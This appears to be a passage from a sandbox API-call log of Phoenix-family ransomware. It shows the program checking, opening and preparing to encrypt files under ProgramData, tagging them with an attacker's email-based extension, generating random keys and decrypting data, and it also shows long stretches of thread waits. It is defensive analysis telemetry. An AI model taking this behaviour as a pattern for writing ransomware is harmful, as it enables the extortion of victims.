	[0213.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0213.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.865] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0214.080] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=28865) returned 1
	[0214.080] CloseHandle (hObject=0x52c) returned 1
	[0214.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0214.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.349] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0214.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.372] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=129745) returned 1
	[0214.372] CloseHandle (hObject=0x530) returned 1
	[0214.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0214.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.372] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0214.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.373] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=28865) returned 1
	[0214.373] CloseHandle (hObject=0x530) returned 1
	[0214.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0214.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.373] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0214.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.399] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=1334) returned 1
	[0214.399] CloseHandle (hObject=0x534) returned 1
	[0214.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0214.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.400] CryptImportKey (in: hProv=0x616790, pbData=0x3f9f978, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3f9f9e0 | out: phKey=0x3f9f9e0*=0x6656d8) returned 1
	[0214.400] CryptSetKeyParam (hKey=0x6656d8, dwParam=0x1, pbData=0x3f9f9c8, dwFlags=0x0) returned 1
	[0214.400] CryptDecrypt (in: hKey=0x6656d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd295e0, pdwDataLen=0x3f9f994 | out: pbData=0xd295e0, pdwDataLen=0x3f9f994) returned 1
	[0214.400] CryptDestroyKey (hKey=0x6656d8) returned 1
	[0214.400] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0214.400] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0214.400] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0214.400] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd295e0 | out: hHeap=0xd20000) returned 1
	[0214.400] SetEvent (hEvent=0x388) returned 1
	[0214.400] SetEvent (hEvent=0x2dc) returned 1
	[0214.400] SetEvent (hEvent=0x398) returned 1

Thread:
	id = 83
	os_tid = 0xd48

	[0212.761] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4330050
	[0212.762] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4340058
	[0212.763] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd295e0
	[0212.763] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x110102) returned 0x464c020
	[0212.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd29610
	[0212.766] CryptImportKey (in: hProv=0x616790, pbData=0x40dfde8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40dfe50 | out: phKey=0x40dfe50*=0x645a38) returned 1
	[0212.766] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0x40dfe38, dwFlags=0x0) returned 1
	[0212.766] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0x40dfe04 | out: pbData=0xd29610, pdwDataLen=0x40dfe04) returned 1
	[0212.766] CryptDestroyKey (hKey=0x645a38) returned 1
	[0212.767] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0212.767] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0212.767] Wow64DisableWow64FsRedirection (in: OldValue=0x40dfe9c | out: OldValue=0x40dfe9c*=0x0) returned 1
	[0212.767] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1
	[0212.767] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.767] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.767] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.767] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.767] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.768] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.769] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.770] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.771] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.772] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.773] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.774] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.775] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.776] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.777] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.778] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.779] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.780] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.781] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.782] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.783] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
